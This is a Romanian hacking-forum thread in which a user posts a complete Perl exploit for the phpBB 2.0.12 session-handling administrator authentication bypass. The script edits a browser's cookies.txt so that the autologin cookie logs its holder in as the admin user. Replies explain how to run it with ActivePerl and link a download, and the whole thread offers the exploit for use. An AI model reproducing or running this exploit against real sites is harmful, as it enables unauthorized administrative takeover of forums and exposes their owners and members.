Filehost.ro - gazduire fisiere
RSB_Team
Ne-am mutat pe http://forum.rsb-team.com
Nou pe simpatie:
deeazuzu82 pe Simpatie
Femeie
24 ani
Cluj
cauta Barbat
27 - 62 ani
RSB_TeamReguliInregistrareLoginPozeNu sunteti logat. Lista Forumurilor Pe Tematici
RSB_Team / Exploituri /

PhpBB exploit (perl)

Pagini: 1  
#1
shellboy
Membru nou
Postari: 9
#!/usr/bin/perl

# phpBB 2.0.12 Session Handling Administrator Authentication
# Bypass EXPLOIT
# written by phuket
#
# The discoverer of this bug is unknown, says "Paiserist" who wrote a C exploit
for this bug.
# http://packetstormsecurity.org/0503-exp ... bsession.c
#
#

# I tested this code with Firefox on my linux box, I do not know if it works with mozilla or on #windows
# $url is the name of the cookie ( www.phpbb.com / $url= phpbb.com ) Look at cookies.txt for the name of the cookie

# I wrote this exploit after reading "phpBB 2.0.12 Session Handling Administrator Authentication
# Bypass -SIMPLIFIED-" By PPC^Rebyte
# and it is based on his code
#
# Sorry for my bad english :/

$file = "/////cookies.txt" ; # path to your cookies.txt
$url = $ARGV[0];

open (FILE , '<'."$file" ) or die ('File does not exist') ; # path to your
cookies.txt file
@cookie= <FILE> ;
close FILE ;


$exploit = "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs". "%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D";

foreach $i (@cookie)
{
if ($i=~/$url/) {

$i =~ s/a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22". "%3Bs%3A6%3A%22userid%22%3Bs%3A(.*?)%3A%22(.*?)%22%3B%7D/$exploit/;
print "OKn" ;
}

}

open (FILE , '>'."$file") or die ('Can not write Cookie') ; ;
print FILE @cookie ;
close FILE ;

#greetings to Jubeltrubel,Julien S.,crosbow,XFlorian,Nibble,Trasher and Invi ;)
#thx to Paiserist,PPC^Rebyte and to the unknown discoverer of this bug :)
#phuket

EOF


 
   
#2
No Comment
junior ++
Din: Boschetzi
Postari: 52
shellboy : dak se poate sa uploadezi si tu perl , ca l'ash vrea shi eu , sau imi dai PM cu id u tau shi mil dai pe mess

_______________________________________


DonT Fuck WiTh Me !

 
   
#3
Hooligan
junior
Din: Undeva in Bucuresti ...
Postari: 24
Pai in primul rand este pentru phpBB 2.0.12 nustiu cate forumuri de genul asta vei mai gasi pentru ca este o varianta foarte veche.

No Comment a scris:

dak se poate sa uploadezi si tu perl , ca l'ash vrea shi eu , sau imi dai PM cu id u tau shi mil dai pe mess
Din cate stiu eu se salveaza in notepad si ii pui extensia .pl

_______________________________________


 
   
#4
No Comment
junior ++
Din: Boschetzi
Postari: 52
din cate stiu eu trebe sa ai Active perl shi il executi din CMD

_______________________________________


DonT Fuck WiTh Me !

 
   
#5
shellboy
Membru nou
Postari: 9
uite aici perl : http://uploaded.to/?id=th2add

 
   
Pagini: 1